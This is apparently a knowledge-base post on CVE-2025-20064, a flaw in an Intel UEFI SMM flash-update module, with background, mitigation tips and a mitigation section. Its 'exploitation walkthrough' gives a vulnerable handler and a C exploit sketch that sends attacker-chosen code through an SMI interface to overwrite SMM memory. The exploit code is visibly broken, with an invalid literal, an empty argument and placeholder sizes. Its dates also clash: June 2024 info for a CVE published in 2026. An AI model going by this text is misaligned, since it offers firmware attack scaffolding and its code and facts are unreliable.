A new critical security vulnerability, CVE-2025-20064, has surfaced within the UEFI FlashUcAcmSmm module found on some Intel® reference platforms. This flaw is classified as an "improper input validation" bug, giving a privileged attacker a way to escalate privileges and run arbitrary code locally. CVE-2025-20064 is extremely dangerous because exploitation can result in full compromise of confidentiality, integrity, and availability (the so-called CIA triad) of the affected machine — all at the highest level.

The Vulnerable Module

The FlashUcAcmSmm module handles sensitive firmware operations within System Management Mode (SMM) on Intel platforms. SMM is a privileged CPU mode, isolated from standard OS operations, and intended for executing firmware-level code like system firmware updates and secure operations.

The flaw: The module does not properly validate input parameters when invoked, allowing a deeply knowledgeable attacker with local administrative privileges to craft payloads that exploit flash update routines. Since SMM operates above OS-level security, successful exploitation allows control at the firmware level, effectively bypassing OS defenses and running arbitrary code in SMM context.

Exploitation Walkthrough

Important Warning: The following code snippets are for educational and defensive purposes only.

Step 1: Understanding Access Requirements

Because the exploit requires privileged local access, attackers often start with administrator or SYSTEM access — for example, via an initial compromised credential or a different local privilege escalation bug.

Step 2: Exploit Strategy

By reverse engineering the FlashUcAcmSmm module, it’s possible to discover a handler that serves user-supplied structures via an SMI (System Management Interrupt) interface. The handler expects a structure in shared memory, but neglects to validate input length or pointer boundaries.

Pseudo-code vulnerable handler

EFI_STATUS EFIAPI HandleFlashUpdate (
  IN EFI_HANDLE DispatchHandle,
  IN CONST VOID *RegisterContext OPTIONAL,
  IN OUT VOID *CommBuffer OPTIONAL,
  IN OUT UINTN *CommBufferSize OPTIONAL
) {
    FLASH_UPDATE_INPUT *Input = (FLASH_UPDATE_INPUT *)CommBuffer;

    // BAD: No proper checks on Input pointer or size
    if (Input->Command == FLASH_WRITE) {
        // Directly trust input fields
        WriteFlash(Input->DstAddr, Input->Data, Input->Size);
    }
    return EFI_SUCCESS;
}

Problem: No guarantee Input->DstAddr or Input->Size are safe. A malicious user can direct the firmware to overwrite sensitive areas or inject shellcode.

They trigger the SMI with a system tool such as a kernel driver exploit or via a custom UEFI app

#define TARGET_FLASHUCA SMI_PORT_FLASHUCA          // Platform-specific SMI port
#define ADMIN_HANDLE ...

struct FLASH_UPDATE_INPUT {
    UINT32 Command;
    UINT64 DstAddr;
    UINT8 Data[MAX_SIZE];
    UINT32 Size;
};

void trigger_exploit() {
    struct FLASH_UPDATE_INPUT *exploit = (struct FLASH_UPDATE_INPUT *)malloc(sizeof(...));
    exploit->Command = x1234;        // FLASH_WRITE
    exploit->DstAddr = MALICIOUS_SMM_ADDR; 
    exploit->Size = CODE_SIZE;
    memcpy(exploit->Data, malicious_code, CODE_SIZE);

    DeviceIoControl(ADMIN_HANDLE, IOCTL_SMI_FLASHUCA, exploit, sizeof(...), NULL, , &dwOut, NULL);
}

Result: Upon handling, the SMM handler overwrites its own flash region or dispatcher code, leading to arbitrary code execution in SMM context.

Stealth: Traditional antivirus solutions and EDR products cannot see inside SMM.

- Total Compromise: Attackers can read/write any memory, disable security checks, extract secrets, or install backdoors.

- Intel Security Center: Platform Firmware Vulnerabilities

Additional Reading

- UEFI SMM Security Best Practices (Intel)
- Black Hat: Attacking SMM Memory via SMI Handlers (PDF)

Mitigation & Detection

- Firmware Update: Apply vendor-issued BIOS/UEFI updates immediately (check your motherboard/PC vendor’s website).

Restrict Local Admin Access: Since a local privileged user is required, limit admin rights.

- Monitor for SMI Exploits: Use security tools that can detect abnormal SMM usage or unexpected system interrupts.
- Hardware Protections: TPM/BootGuard and Intel Boot Guard can add tampering detection, but may not prevent all attacks on an already affected system.

Conclusion

CVE-2025-20064 is a serious and complex UEFI firmware vulnerability with potentially devastating consequences if abused. Although exploitation requires local admin access and advanced skills, the payoff is total machine compromise at a level few defenders can see or remediate. Regularly patching firmware and limiting local admin access remain your best lines of defense.

> Stay educated, stay vigilant, and check for firmware updates!

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*This post is exclusive to this knowledge base and summarizes current public info as of June 2024.*

Timeline

Published on: 03/10/2026 22:49:18 UTC
Last modified on: 03/11/2026 13:52:47 UTC